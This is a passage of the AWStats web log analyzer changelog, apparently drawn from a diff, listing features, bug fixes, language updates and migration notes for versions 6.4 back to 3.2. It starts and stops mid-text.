6.4: XML parsing error +- Fixed: [ 1186582 ] Authentication problem in Windows NT/AD Domains +- Fixed: [ 1191805 ] Missing Bot: Add generic detection for user agent + bot bot/ and bot- +- Avoid bad cells if geoip country does not exists. +- Better compatibility of misc_tracker with firefox. +- Fixed: Dying process with geoip_city plugin when IP is unknown by plugin. +- Fixed: Add error message if option buildpdf option is used with parameter + BuildReportFormat=xhtml. + +Other/Documentation: +- Added Spanish translation for webmin module by Patricio Mart�nez Ros. +- Added croatian language. +- Update russian language file. +- Renamed european union by european country. +- Review of AWStats documentation. + + +***** 6.4 ***** + +New features/improvements: +- Add option ShowSummary. +- If Geoip plugin is enabled, add a column in Host report. +- Other minor changes on geoip and hostinfo plugins to enhance look. +- If LogFormat is 2, AWStats autodetect log format change. +- Add a way to set ArchiveLogRecords with same tags than LogFile to + add suffix to archived log files. + +Fixes: +- Fix security hole that allowed a user to read log file content even + when plugin rawlog was not enabled. +- Fix a possible use of AWStats for a DoS attack. +- Fix errors for setup to analyze media servers. +- If there is no referer field in the log format, do not use them in the + errors reports. +- Label of real player ("media player", not "audio player") +- configdir option was broken on windows servers (Pb on Sanitize function + on windows local use). +- Minor fixes. +- Fix: [ 1094056 ] Bad html-output for maillogs +- Fix: [ 1094060 ] More bad html/xml output +- Fix: [ 1100550 ] Missing flag icon for euskera +- Fix: [ 1111817 ] AllowToUpdateStatsFromBrowser defaults to 1 contrary + to docs + +Other/Documentation: +- DebugMessages is by default set to 0 for security reasons. +- Updated documentation. +- Updated some language files. +- Remove deprecated LogFormat 5. + + +***** 6.3 ***** + +New features/improvements: +- Added the geoip_isp_maxmind and geoip_org_maxmind plugin to allow + rrports by ISP and Organizations. +- Details firefox versions. +- webmin module: Report GeoIP databases versions. +- Support keywords detection for search engines that store search key + inside url instead of parameters. This means AWStats can now detect + keywords from search engines like a9.com + +Fixes: +- Removed two security holes. +- The geoip_city_maxmind plugin was sometimes bind and towns with + space in names are reported correctly. +- Restart of apache on debian failed in awstats_configure.pl +- Better look for file types tables. +- Fix: [ 1066468 ] Translated word gets corupted (&OUML instead of �) +- Fix: [ 1074810 ] XML Parsing Error +- Fix: [ 991768 ] "Created by awstats" not localized +- Fix: [ 1092048 ] flash(.swf) in NotPageList(default) +- Fix pb when there is spaces in key of ExtraSections + + +Other/Documentation: +- SaveDatabaseFilesWithPermissionsForEveryone is 0 by default instead + of 1 for security reasons. +- Updated documentation +- Updated language files + + + +***** 6.2 ***** + +New features/improvements: +- awstats_updateall.pl: Added -excludeconf option +- Allow plugins to add entry in menu. +- Allow plugins to add charts with its own way to compile data inside +the update process. +- Added the geoip_region_maxmind and geoip_city_maxmind plugins. +- maillogconvert.pl: Support postfix 2.1 that change its log +format using NOQUEUE string instead of a number for mails that are +rejected before being queued. +- Little speed improvments. +- Counts javascript disabled browsers (A new MiscTracker feature). +- When a direct access to last line is successfull, awstats is directly +in mode "NewLine". No need to find a more recent record for this. This +means the NotSortedRecordTolerance works even between end and start +of updates. +- You can use a particular not used field in your log file to build +a personalized report with the ExtraSection feature. Just use a personalized +log format and use the tag %extraX (where X is a number) to name field you +want to use, then, in ExtraSection parmaters, you can use extraX to tell +wich info to use to extract data for building the chart. +- Support method "put" when analyzing ftp log files. +- Added a bold style around current day/month in label of charts. + +Fixes: +- Fix not recognized %time3 tag in LogFormat. This tag allows to process +all FTP xferlog file format. +- Fix bad html generated with buildpdf option. +- maillogconvert.pl: Added patch to work correctly with sendmail +when recipient is redirected through a pipe. +- Fix Bug 985977: Failed to rename temp history file if contains special +char like "+". +- Patch 984087 for new year jump +- Fix Bug 983994: Tooltips aren't shown. +- Fix Bug 982803: Bad display in Netscape 4.75 with Awstats version 6.1 +- Fix Bug 975059: Timezone Plugin Runtime Error +- Fix Bug 971129: Bug in regexp handling for | in ExtraSections +Now for OR in ExtraSectionCondition you must use double pipe. +- Some fix to have correct flag for lang with code lang different of +country flag. + +Other/Documentation: +- Updated documentation. +- Updated robot, browsers, os recognition databases. +- Better log messages in plugins. +- Renamed configure.pl into awstats_configure.pl. +- Reduce code size. +- The NOTSORTEDRECORDTOLERANCE has been increased to 2 hours to be sure to +have no problem for users that change their hour by one. + + + +***** 6.1 ***** + +New features/improvements: +- The BuildHistoryFormat can now accept xml to build the AWStats + database in xml. The XML schema is available in tools/xslt directory. +- Added an example of xslt style sheet to use AWStats XML database. +- Added %time4 flag for LogFormat to support unix timestamp date format. +- Added Firefox to browser database. +- Added option IncludeInternalLinksInOriginSection (defined to 0 + by default). +- Added field to choose size of list limit (rawlog plugin). +- Added ExtraSectionCodeFilterX parameters. +- PDF detection works also for browsers that support PDF 6 only. +- maillogconvert.pl: + Added an automatic year adjustment for sendmail/postfix log + files that does not store the log. This solve problems for mail + analyses around new year. +- Added tooltips for mail reports (tooltips plugin). + Changed look of the summary report to prepare add of new informations. +- Added failed mails number in the summary. +- AllowAccessFromWebToFollowingAuthenticatedUsers is no more case + sensitive. +- Added new functions for plugins: AddHTMLMenuHeader, AddHTMLMenuFooter, + AddHTMLContentHeader, AddHTMLContentFooter +- Added detection of Camino web browser (old Chimera). +- Full updated robots database. + +Fixes: +- Removed warning "Bizarre copy of ARRAY" with new Perl 5.8.4. +- Fixed syntax error in Year view when xhtml output is selected. +- Fixed a problem of not working misc feature when using IIS and + when URLWithQuery was set to 0. +- Now all non ISO-8859-1 languages are shown correctly even with + Apache2, whatever is the value of the AddDefaultCharset directive. +- Some plugins broke the xhtml output. +- Fixed wrong results for compression ratios when using mod_gzip and + %gzip_ratio tag. +- Fixed old bug showing string "SCALAR(0x8badae4)" inside html reports + when using mod_perl. +- Fixed the not allowed GET method when LogType=S. +- maillogconvert.pl: Better management of error records with sendmail + and postfix (some "reject" records were discarded). +- maillogconvert.pl: Fixed important bug where records were discarded + when server name was a FQDN. +- configure.pl: Now works also on Mac OS X +- configure.pl: If /etc/awstats directory does not exist, try to + create it. If /etc/awstats.model.conf not found on Linux, try to + find it in cgi-bin directory. +- Fixed some bugs when BuildReportOutput is set to xhtml (rawlog plugin) + plugin. +- Number of shown lines were one more than required (rawlog plugin). +- xhtml output broken for some 404 reports. + +Other/Documentation: +- BuildReportOutput=xml renamed into BuildReportOutput=xhtml +- Added arabic language file. +- Updated language file. +- Updated documentation. +- maillogconvert.pl: + Update value of NBOFENTRYFOFLUSH + + + +***** 6.0 ***** + +Fixes: +- Fixed bug 599388: Search engines are not detected if domain is IP + address. +- Fixed bug 711758. +- Fixed bug 812681: bad case for ENV expansion in awstats.conf. +- Fixed bug 813908: Incomplete documentation +- Fixed bug 816267: onedigit dayofmonth breaks syslog regex +- Fixed bug 817287,830458: wrong regexp in Read_DNS_Cache subroutine +- Fixed bug 817388: lib/referer_spam.pm & lib/robots.pm +- Fixed bug 818704: Warning in IPv6 plugin when no reverse DNS +- Fixed bug 841877: regex bug for parsing log lines +- Fixed bug 846365: relative path not working for DirData. +- Fixed value for ValueSMTPCodes if not defined in config file. +- Fixed pb when country code is not same than lang code (example: + estonian has lang code 'et' and country code 'ee'). +- Replaced Kb/visits to Kb/mails for mail log analysis. +- Remove some warnings that appears when running perl -W +- Other minor bugs (814970,823064,823323,831438,836315). +- Fixed bug in counting hits for miscellanous and clusters chart when + a temporary flush was done on disk during a long update. +- ExtraSections now works on all records whatever is the status code. +- Click on "Summary" now returns to top of page even with rawlog plugin. +- Fix in log parsing that should reduce dropped records to only records + that match a dropping criteria (SkipFiles, Skip..., Only...). +- Click on "Summary" now returns to top of page even with rawlog plugin. +- Fixed AmigaVoyager detection. +- Fixed bug in SkipHosts filter for mail log files. +- Fixed not working link for search keywords/keyphrase in menu with FireBird. +- Fixed pb in loading plugins with mod_perl2. +- Fixed not found relative DirData path with some Perl/OS versions. +- Fixed error in awstats_updateall.pl when current directory, while running + it, is where awstats.pl is stored. + +New features/improvements: +- Increased speed by 10 to 20%. +- Added a Worms report (Added LevelForWormsDetection and + ShowWormsStats parameter). +- Added report for "not viewed" traffic in Summary report. +- Monthly history report has been extracted from the Summary report. +- Some changes to make AWStats to be XML compliant ready. + Need to set the new parameter BuildReportFormat to 'xml' in config file. + Added also the BuildHistoryFormat parameter (Even if only 'text' is + supported for the moment). +- A lot of part of codes have been rewritten to make code more easy to + understand and reduce unknown bugs. +- The link to whois informations for a host, provided by hostinfo plugin, + has been replaced by an internal 'whois' showing in a popup window full + whois informations whatever is the TLD of IP or host name. +- A new search engine database to allow several "match id" for same + search engine. Example: All google ip referer id are recognised. +- Can use UA and HOST fields to build personalized ExtraSection reports. +- Added support for AND conditions in personalized ExtraSection config. +- Support for right to left languages. Added 'he' language. +- Added LevelForSearchEnginesDetection parameter to choose between 2 possible + levels of detection for search engines (like LevelForRobotsDetection). + Also, added LevelForFileTypesDetection parameter (2 possible levels). +- Added percent column for file types. +- The robot chart now shows details between hits on robots.txt file and + other hits. +- Count of keywords/keyphrases does not increment counter for hits made + on images from a google cached page. +- Added patch 857319: Allow several IPs and IP ranges in + AllowAccessFromWebToFollowingIPAddresses parameter. +- Added experimental graphapplet plugin (graph are built by applet). +- Webmin module updated to 1.210 to integrate all new parameters. +- Better setup error messages for newbie. +- Reports look better on Mozilla browsers. +- Added decodeUTFkeys plugin to AWStats to show correctly (in language + charset) keywords/keyphrases strings even if they were UTF8 coded by + the referer search engine. +- Added/updated a lot of os, browser and country icons. +- Added Hebrew and Galician language. +- configure.pl: A new script to configure AWStats and Apache and + build a simple config file. +- awstats_buildstaticpages.pl: The -date option has been replaced + by the -buildate=%YY%MM%DD option so you can choose your own date format. +- awstats_buildstaticpages.pl: Added the -configdir option. +- awstats_exportlib.pl: Changes to be compatible with new AWStats databases. +- logresolvemerge.pl: can use several threads for reverse DNS lookup + with Perl 5.8. +- maillogconvert.pl: Allow to process qmail log preprocessed by + tai64nlocal tool. +- maillogconvert.pl: Added support for MDaemon mail server log files. + +Other/Documentation: +- A httpd.conf sample to configure AWStats is provided. +- Added example for analyzing awredir.pl hits by ExtraSections. +- Updated database: + wget is known as a "grabber" browser, no more as a robots. + netcaptor and apt-get added in browser database. + asmx and aspx added in mime.pm file. + Microsoft URL Control added in robot list. +- Documentation seriously updated. +- FAQ updated. + + +Note 0: Perl 5.007 or higher is a requirement to use AWStats 6.9 or higher. + +Note 1: When migrating to 6.x series, if you use the ExtraSections feature, + you must check that the parameter(s) ExtraSectionConditionX use a full + REGEX syntax (with 5.x series, this parameter could contain simple string + values). If not, feature will be broken. + +Note 2: When migrating to 6.x series, if you use the Misc feature, you must + check that your ShowMiscStats parameter is set to "ajdfrqwp", if you want + to have all miscellanous info reported (you must also have added the + awstats_misc_tracker.js script in your home page as described in + MiscTrackerUrl parameter description). Otherwise the new default value "a" + will be used (only the "Add to favourites" will be reported). + +Note 3: In 6.x series, MaxLengthOfURL parameter has been renamed into + MaxLengthOfShownURL. + +Note 4: When migrating to 6.x series, to enable the new worm detection, you + must add parameter LevelForWormsDetection=2 in your config file. + +Note 5: When migrating to 6.x series, if you used the urlalias or userinfo + plugin, you must move the urlalias.*.txt or userinfo.*.txt file from Plugins + directory to DirData directory. + + + +***** 5.9 ***** + +Fixes: +- Several fixes in maillogconvert.pl + Fixed wrong parsing for qmail log files. + Support mail errors in qmail log files. + Return code for postfix log were all reported in error for mails sent to + several recipients when one recipient was in error. +- Fixed wrong percentage in cluster report. +- Fixed wrong parsing for qmail log files. +- Return code for postfix log were all reported in error for mails sent to + several recipients when one recipient was in error. +- Fix a not closing HTML TR tag in full list of hosts. +- awstats_buildstaticpages.pl can accept month on 1 digit. +- awstats_buildstaticpages.pl no more try to build pages awstats.misc.html + and awstats.filetypes.html that does not exists. +- A lot of fix in PDF export: + Graph in PDF export are no more inverted. + The link "close window" in generated PDF pages is replaced by "back to main + page". + Infos popup window from hostinfo plugin is not included in PDF export. Popup + can't work into PDF. + PDF export seems to work correctly now. +- mail.yahoo.* and hotmail.msn.* refering pages are not more reported as + search engines. + +New features/improvements: +- AWStats Webmin module updated to 1.1 +- Added the AllowFullYearView parameter. +- Year entry in combo box is now the localized text for "Year" instead of '---' +- Support of some exchange format in maillogconvert.pl +- Option -noloadplugin of awstats_buildstaticpages.pl can accept a list of + plugins separated by comma. +- Support mail errors for qmail log files. +- Added the -diricons option from awstats_buildstaticpages.pl + +Other/Documentation: +- Added rpm, deb and msi mime types +- Added documentation page for using AWStats Webmin module + + + +***** 5.8 ***** + +Fixes: +- mod_deflate compression reported bandwith saved instead of bandwidth used. +- Fixed wrong number of column for "other" row in host chart. +- Fixed problem of parsing with uabracket and refererquot. +- Fixed wrong use of config file in rawlog plugin. +- Some changes on maillogconvert.pl: + maillogconvert support more exotic sendmail log files (Thanks to W-Mark Kubacki). + Fixed wrong parsing of qmail syslog files. + Fixed pb of '-' in relay hostname. + When a mail is sent to 2 different receivers, now report 2 records. + When a forward is active, report the original receiver, not the + "forwarded to". +- Fixed not working timezone plugin with 5.7. +- Fixed missing propagated configdir parameter when changing month/year. +- Error when loading database pm file with some cygwin perl version. +- Fixed not working file type detection for default pages. +- Fixed not working awstats_updateall.pl on Windows platforms. + +New features/improvements: +- Added a Webmin module. +- Enhance the 'Extra' feature with parameters ExtraSectionFirstColumnFormatX, + ExtraSectionAddAverageRowX, ExtraSectionAddSumRowX. + Also add a dedicated page in documentation. +- Added %lognamequot tag for LogFormat parameter. +- Added OnlyUserAgents parameter. +- Selection of virtualhost records in a log is no more case sensitive on + SiteDomain nor HostAliases. +- Added awredir.pl tool. +- Added a Cluster Report for load balancing systems. Added %cluster tag in + LogFormat. + +Other/Documentation: +- Deprecated %time1b tag (%time1 can be used). +- Minor look change. +- Updated documentation. + + + +***** 5.7 ***** + +Fixes: +- The -configdir parameter in awstats_updateall.pl is now working coorectly. +- Fix failing call to ipv6 plugin. +- Pb with some regex value used in the new REGEX fields added in 5.6. +- Better support for WebStar log files. +- Count for add to favourites is done on hits to favicon.ico for IE only. This + avoid counting wrong "Add" done by browsers that hit the file even when no + add is done. Value reported is the (count for IE) / (ratio of IE among all + other browsers). +- Count for Browsers with WMA audio playing support now works. +- Fix problem with default ShowFlagLinks defined to 1 instead of '' when not + included in config file. +- Road runner browsers detection problems. +- syslog tag can accept hostname with not only a-z chars. +- " " changed to " " in miscellanous chart. +- Geoip lookup is always done (as it should) on ip when ip is known, even if + DNSLookup is enabled and successfull. This increase seriously AWStats speed + when DNSLookup and Geoip are both enabled. +- Chars < and > inside reported values are no more removed but coded with < + and > in html built page. + +New features/improvements: +- Added 'rawlog' plugin to add a form to show raw log content with filter + capabilities. +- Added a dynamic exclude filter on CGI full list report pages. +- Added maillogconvert.pl for analyzing mail log files (better support + for sendmail, postfix and qmail log files). +- Added -addfilenum option in logresolvemerge.pl +- Added -updatefor option to limit number of lines parsed in one update + session. +- Added support for Darwin streaming server. +- Added Firebird browser detection. +- awstats_buildstaticpages.pl can also build a PDF file (need htmldoc). +- Better management of plugin load failure. +- Added LogType parameter. +- Added option -dnscache= in logresolvemerge.pl to use dns static file. +- Minor bug fixes. +- The HostAliases list parameter is used to check if a log that contains + %virutalhost field should be qualified. +- Added %MO tag for LogFile parameter to be replaced by the three first + letter of month. + +Other/Documentation: +- The "Popup WhoIs link" code is now handled by new 'hostinfo' plugin. +- Added mp4 mime type. +- Updated documentation. + +Note 1: + The ShowLinksToWhoIs parameter has been removed. You must enable the plugin + 'hostinfo' to get the same result, if it was used. + + + +***** 5.6 ***** + +Fixes: +- Domain with no pages hits were always reported as other in domain chart. +- percent for other in full list of "links for internet search engines" + has been fixed. + +New features/improvements: +- Report compression ratios with mod_deflate feature (Apache 2). +- A better browser detection. +- Can add regex values for a lot of list parameters (HostAliases, + SkipDNSLookupFor, ...) +- StyleSheet parameter works completely now and sample of CSS files are + provided. +- Add meta tags robots noindex,nofollow to avoid indexing of stats pages by + compliant robots. +- Added a "Miscellanous chart" to report ratio of Browsers that support: + Java, Flash, Real reader, Quicktime reader, WMA reader, PDF reader. +- "Miscellanous chart" also report the "Add to favourites" (must remove the + "robots.txt" and "favicon.ico" entries off your SkipFiles parameter in your + config file to have this feature working. +- Update process now try a direct access at last updated record when a new + update is ran. If it fails (file changed or wrong checksum of record), then + it does a scan from the beginning of file until a new date has been + reached (This was the only way of working on older version). So now update + process is very much faster for those who don't purge/rotate their log + file between two update process (direct access is faster than full scan). +- Better look for report pages on Netscape/Mozilla browsers. + +Other/Documentation: +- Updated documentation. +- Update wap/imode browser list. + +Note 1: + You should remove the "robots.txt" and "favicon.ico" entries in the SkipFiles + parameter in your config files after upgrading to 5.6. + + + +***** 5.5 ***** + +Fixes: +- Summary robots list was limited to MaxNbOfLoginShown instead of being + limited to MaxNbOfRobotShown value. +- Fixed a bug when using HBL codes in ShowRobotsStats parameter. +- AllowAccessFromWebToFollowingAuthenticatedUsers now works for users with + space in name. +- Bug 730996. When URLWithQueryWithoutFollowingParameters was used with a + value and another parameter was ended with this value, the wrong parameter + was truncated from URL. + +New features/improvements: +- Added a 'Screen Size' report. +- Group OS by families. Added a detailed OS version chart. +- Better 404 errors management. URLs are always cleaned from their parameter + to build '404 not found' URLs list (because parameters are not interesting + as they can't have effect as page is not found). Referrer URLs list for '404 + not found' URLs are kept with parameters only if URLReferrerWithQuery is set + to 1. This make this report more useful. +- Added 'geoipfree' plugin (same than 'geoip' plugin but using the free + Perl module Geo::IPfree). +- 'geoip' plugin can works with Perl module Geo::IP but also with Perl module + Geo::IP::PurePerl). +- Added 'userinfo' plugin to add information from a text file (like lastname, + office department,...) in authenticated user chart. +- month parameter can accept format -month=D, not only -month=DD +- Optimized code size. +- Optimized HTML output report size. +- Added plugin ipv6 to fully support IPv6 (included reverse DNS lookup). +- Split month summary chart and days of month chart in two different charts in + main page. This also means that ShowDaysOfMonthStats and + AddDataArrayShowDaysOfMonthStats parameters were added. +- Added -staticlinksext to build static pages with another extension than + default .html +- Added QMail support and better working support for Postfix and Sendmail (SMA + preprocessor was replaced by maillogconv.pl). + +Other/Documentation: +- AWStats default install directory is /usr/local/awstats for unix like OS. +- Added Isle of Man, Monserat, and Palestinian flag icon. +- Added "local network host" and "Satellite access host" in label of possible + countries and icons (They appears when using geoip plugins). +- Better management of parsed lines counting. The last line number is also + stored in history file, for a future use. +- Removed LogFormat=5 option for ISA log file because I am fed up of + supporting bugged and non standard MS products. Sorry but this takes me too + many times. To use AWStats with an ISA server, just use now a preprocessor + tool to convert into a W3C log file. +- Added estonian, serban and icelandic language files. +- Updated documentation. + + + +***** 5.4 ***** + +Fixes: +- File name with space inside were not correctly reported when doing FTP log + server analysis. +- Problem in %Wy tag for ten first weeks of year (coded on 1 char instead + of 2: First week should be "00" instead of "0"). +- Tooltips now works correctly with Netscape (>= 5.0). +- Better parsing of parameters (Solved bug 635962). +- Users did not appear in Authenticated users list if hits on pages were 0. +- Value of title "Top x" for domains chart was not always correct. +- Fixed bug 620040 that prevented to use "#" char in HTMLHeadSection. +- Whois link did not work for jp, au, uk and nz domains. +- WhoIs link did not work if host name contained a "-" char. +- Fixed a bug in mod_gzip stats when only ratio was given in log. + +New features/improvements: +- Lang parameter accepts 'auto' value (Choose first available language + accepted by browser). +- Little support for realmedia server. +- Added urlaliasbuilder.pl tool. +- Added URL in possible values for ExtraSection first column. +- New parameter: URLWithAnchor (set to 0 by default). +- Export tooltips features in a plugin (plugin tooltips disabled by default). +- Added average session length in Visit Duration report. +- Added percentage in Visit Duration report. +- logresolvemerge.pl can read .gz or .bz2 files. +- Added icons and Mime label for file types report. +- Added parameters AddDataArrayMonthDayStats, AddDataArrayShowDaysOfWeekStats, + and AddDataArrayShowHoursStats. +- Added the Whois info in a centered popup window. +- Cosmetic change of browsers reports (group by family and add bar in + browserdetail). +- Other minor cosmetic change (remove ShowHeader parameter). +- Authenticated user field in log file can contain space with LogFormat=1, + and they are purged of " with Logformat=6 (Lotus Notes/Domino). +- The AWSTATS_CURRENT_CONFIG environment variable is now always defined + into AWStats environment with value of config (Can be used inside config + file like other environment variables). +- Added offset of last log line read and a signature of line into the + history file after the LastLine date. +- Better error report in load of plugins. + +Other/Documentation: +- AWSTATS_CONFIG environment variable renamed into AWSTATS_FORCE_CONFIG. +- Replaced -month=year option by -month=all. +- Added an error message if a -migrate is done on an history file with + wrong file name. +- GeoIP memory cache code is now stored inside plugin code. +- Added list of loaded plugins in AWStats copyright string. +- Added European and Sao Tome And Principe country flag. +- Added Safari browser icon. +- Updated documentation. + +Note 1: + Old deprecated values for -lang option (-lang=0, -lang=1...) has been + removed. Use -lang=code_language instead (-lang=en, -lang=fr, ...). + +Note 2: + Old deprecated -month=year option must be replaced by -month=all when + used on command line. + + + +***** 5.3 ***** + +Fixes: +- Fixed: Bad documentation for use of ExtraSection. +- Fixed: Bug in ValidSMTPCodes parameter. +- Fixed: Remove AWStats header on left frame if ShowHeader=0. +- Fixed: 29th february 2004 will be correctly handled. +- Fixed: Another try to fix the #include not working correctly. +- Fixed: Columns not aligned in unknownip view when not all fields are + choosed. +- Fixed: Columns not aligned in allhosts and lasthosts view when not all + fields are choosed. + +New features/improvements: +- Added awstats_exportlib.pl tool. +- Added 'Full list' view for Domains/Country report. +- Added 'Full list' and 'Last visits' for email senders/receivers chart. +- Added a memory cache for GeoIP plugin resolution (geoip is faster). +- New parameter: Added AuthenticatedUsersNotCaseSensitive. +- Speed increased when ExtraSection is used. + +Other/Documentation: +- Updates to AWStats robots, os, browsers, search_engines databases. +- Added awstats_logo3.png +- Added X11 as Unknown Unix OS, and Atari OS. +- Change way of reading -output= parameter to prepare build of several output + with same running process. +- Updated documentation. + + + +***** 5.2 ***** + +- Added urlalias plugin to replace URL values in URL reports by a text. +- Added geoip plugin to track countries from IP location instead of domain + value. +- Support for postfix mail log. +- Added total and average row at bottom of day data array. +- Added dynamic filter in Host and Referer pages when used as CGI like + in Url report. +- Removed "Bytes" text when values is 0. +- Reduced main page size. +- New parameter: Added OnlyHosts parameter. +- New parameter: Added ErrorMessages to use a personalized error message. +- New parameter: Added DebugMessages to not allow debug messages. +- New parameter: Added URLQuerySeparators parameter. +- New parameter: Added UseHTTPSLinkForUrl parameter. +- Report for robots accept codes like others charts ('HBL'). +- Can use "char+" instead of "char" for LogSeparator. +- Records with bad http code for Microsoft Index Servers (on 1 digit instead + of 3) are no more reported as corrupted records. +- Little support for IPv6. +- Static string changed from "string" to 'string'. +- Fixed: Fix a bug when using IIS and %query or cs-query-string tag in + LogFormat and URLWithQuery=1. +- Fixed: #include now works correctly. +- Added Albanian, Bulgarian and Welsh language. +- Added Seychelles flag. + + + +***** 5.1 ***** + +- Better support for ftp log files. +- Better support for mail log files. +- Can analyze streaming log files (Windows Media Server). +- Added choice of month and year in list boxes (when used as CGI). +- The data values for month and days are reported in main page under the + graph, no need to change page. +- New feature: ShowxxxStats parameters accept codes to decide which columns to + show in chart. +- New parameter: Added SkipUserAgents parameter to exclude some user agent + from statistics. +- New parameter: Added URLNotCaseSensitive. +- New parameter: Added URLWithQueryWithoutFollowingParameters to exclude some + parameters from URL when URLWithQuery is on. +- New parameter: Added URLReferrerWithquery. +- Added tag %Wm-n for LogFile parameter (replaced with the week number in month + but differs from %WM-n because start with 0). +- Added tag %Wy-n for LogFile parameter (replaced with the week number in year + but differs from %WY-n because start with 0). +- Added tag %Dw-n for LogFile parameter (replaced with the day number in week + but differs from %DW-n because start with 0). +- Fixed: Log analyze is no more stopped if log file contains binary chars. +- Fixed: -debug option is allowed in migrate. +- Fixed: Wrong window was opened when clicking on flag link when + UseFramesWhenCGI was on. +- Fixed: Fixed pb in refreshing page when clicking on "Update Now" link (no + need to force the refresh). +- Fixed: a bug which makes the keywords report loaded twice when page viewed + as a cgi after an update now click. +- Fixed: Pb with SAMBAR server ('Expires' line appears at the top of pages). +- Fixed: Now last update DNS cache file is saved with same permissions than + history files so it depends on SaveDatabaseFilesWithPermissionsForEveryone. +- Fixed: Some sorting function were still using old 4.1 algorithm. Now all + sorts use new 5.0 algorithm (so speed and memory use again increase above + all for large web sites with a lot of referers). +- Fixed: Remove DecodeEncodedString on parameters sent by command line. +- Rewrite plugins to match the same standard for all of them (All use an init + function + AWStats version check + no need of global vars in awstats.pl). +- Can use the #include "configfile" directive in config files. +- Added week-end color on week-end days in monthdayvalues report. +- Added 'spider' and 'crawler' as generic robots. +- Added awstats_updateall.pl tool. +- Remove common2combined.pl tool (useless). +- Updated graph colors. +- Updated documentation. +- Updated database. +- Updated language files. + +Note 1: + AWStats 5.x are compatible with previous versions (3.x or 4.x). + However if you use awstats 5.x runtime to read statistics for old month + build with 3.x or 4.x, speed will be a little bit reduce but data will be + reported correctly. + + To benefit the speed/memory improvement of 5.x (2 to 8 times faster when + reading stats, less memory use) you can migrate (after backup) your history + files with the command : + awstats.pl -migrate="/fullpath/awstatsMMYYYY.configval.txt" + +Note 2: + Old deprecated command line parameters -h and site= have been removed. + Use config= instead. + + + +***** 5.0 ***** + +- Complete rewrite of update process and code to read/save history files. + AWStats 5.0 is compatible with previous versions (3.x or 4.x). + However if you use awstats 5.0 runtime to read statistics for old month + build with 3.x or 4.x, speed will be a little bit reduce but data will be + reported correctly. + + To benefit the speed/memory improvement of 5.0 (2 to 8 times faster when + reading stats, less memory use) you can migrate your history files with the + command : + awstats.pl -migrate="/fullpath/awstatsMMYYYY.configval.txt" + +- Fixed: pb when using several tags with different offset in LogFile name. +- Fixed: Create of directory with CreateDataDirIfNotExists is made with 0766 + instead of 0666. +- New feature: Track detailed minor and major version for browsers. +- New feature: Added bandwidth report for robots and errors. +- New feature: Support DNS cache files for DNS lookup. +- New feature: Added Plugins support and several working plugins: + A GMT correcter, A hash file DNS cache saver/reader... +- New feature: Use framed report (new UseFramesWhenCGI parameter). +- "Never updated" and "Exact value ..." are now in language files. +- Reduce number of global vars in code. +- New feature: DefaultFile parameter accepts several values. +- New feature: Added all robots and last robots full list report. +- New feature: Added all logins and last logins full list report. +- New feature: Added url entry and url exit full list report. +- New feature: Added AllowAccessFromWebToFollowingIPAddresses parameter +- New parameter: LogSeparator for log files with exotic separators. +- New parameter: EnableLockForUpdate to allow lock for update process. +- New parameter: DecodeUA to make AWStats work correctly with Roxen. +- New tag for logfile: %WY is replaced by week number in year. +- Added slovak, spanish (catalan) language files and updated a lot of language + files. +- Made changes to allow FTP log analysis. +- Made changes to prepare sendmail log analysis. +- Updated belarus flag. +- Updated os, browsers, robots, search engines database. +- Added a map of history files at beginning of files to allow other tools + to read AWStats history files or part of them very quickly. +- Other minor changes and bug fixes. + + + +***** 4.1 ***** + +- Fixed: -logfile option can be anywhere on command line and accept space + in log file names. +- Fixed: A bug vampired memory and caused abnormal disk swapping in + logresolvemerge.pl +- Fixed: Reduce nb of dropped records for log files not 'completely' sorted. +- New tag for logfile: %virtualname allows you to share same log file for + several virtual servers. +- New feature: A 'pipe' can be used in LogFile name parameter. +- New feature: Added full list for refering search engines and refering pages. +- New feature: Report keywords AND keyphrases. No need to choose one or else. +- New feature: Report exit pages. +- New feature: Report visits duration. +- New option: Added -dir option to choose destination directory for + awstats_buildstaticpages.pl +- New option: Added AWStats common options to awstats_buildstaticpages.pl +- Updated AWStats databases (renamed into .pm files and moved to lib dir). +- Updated documentation. + + + +***** 4.0 ***** + + WARNING: 4.0 is not compatible with OLD history data files. If you use 4.0 + to read statistics for old month, report for "visitors" will be wrong as all + old unresolved ip processed with AWStats 3.2 will not be counted when + viewed with 4.0. + +- Increased speed and reduce memory use for very large web sites. +- Unresolved ip are now processed like resolved one. +- Added icons in browsers chart. +- Personalized log format can also have tab separator (not only space). +- New ways to manage security/privacy with updated docs and new parameters: + AllowAccessFromWebToAuthenticatedUsersOnly + AllowAccessFromWebToFollowingAuthenticatedUsers +- New feature: Added mark on "grabber browsers" in browsers chart. +- New feature: Added average files size in Pages/URL report chart. +- New feature: You can put dynamic environnement variables into config file. +- New feature: Keyphrases list can be viewed entirely (not only most used). +- New parameter: WrapperScript +- New parameter: CreateDirDataIfNotExists +- New parameter: ValidHTTPCodes +- New parameter: MaxRowsInHTMLOutput +- New parameter: ShowLinksToWhoIs +- New parameter: LinksToWhoIs +- New parameter: StyleSheet +- New option: -staticlinks to build static links in report page (to use + AWStats with no web servers). +- New tool: common2combined.pl (A log format converter) +- New tool: awstats_buildstaticpages.pl +- Fixed: wrong size of bar in "average" report when average value was < 1. +- Fixed: pb of "Error: Not same number of records" when using some version + of mod_perl. +- Fixed: pb in logresolvemerge.pl +- Fixed: Security against CSSA. +- No more need to use \. to say . in config file. +- Documentation seriously updated. + + +***** 3.2 ***** + +- Increased speed (19% faster than 3.1). +- Fixed: AWStats history file is no more corrupted by hits made from a search + engines using a URL with URL encoded binary chars. +- Fixed: AWStats history file is no more corrupted when a reverse DNS lookup + return a corrupted hostname (Happens with some DNS systems). +- Fixed: Security fix. No more possible to update stats from a browser using + direct url (awstats.pl?update=1) when AllowToUpdateStatsFromBrowser is off. +- New feature: Added various tags to use dynamic log file name in conf file + according to current but also older date/time (%YYYY-n,%YY-n,%MM-n,%DD-n...) +- New feature: Added NotPageList parameter to choose which file extensions to + count as "hit only" (and not reported in the "Page-URL viewed" report). +- New feature: Added KeepBackupOfHistoricFiles option. +- New feature: Number of visits is also visible in days stats. +- New feature: Added stats for day of week. +- New feature: Added stats for file types. +- New feature: Added stats for entry pages. +- New feature: Added stats for web compression (mod_gzip). +- New feature: Added stats for authenticated users/logins. +- New feature: Added parameters to choose which report to see in main page. +- New feature: Added URLWithQuery option to differentiate + http://mysite/sameurl?param=x of http://mysite/sameurl?param=y +- New feature: ShowFlagLinks can now accept list of all wanted flags for + translation link. +- New feature: Support standard ISA server log format. +- New tool: Add logresolvemerge tool to merge split log files + from a load balancing web server before running awstats. +- New parameter: HTMLHeadSection allows you to add HTML code in header report. +- New parameter: 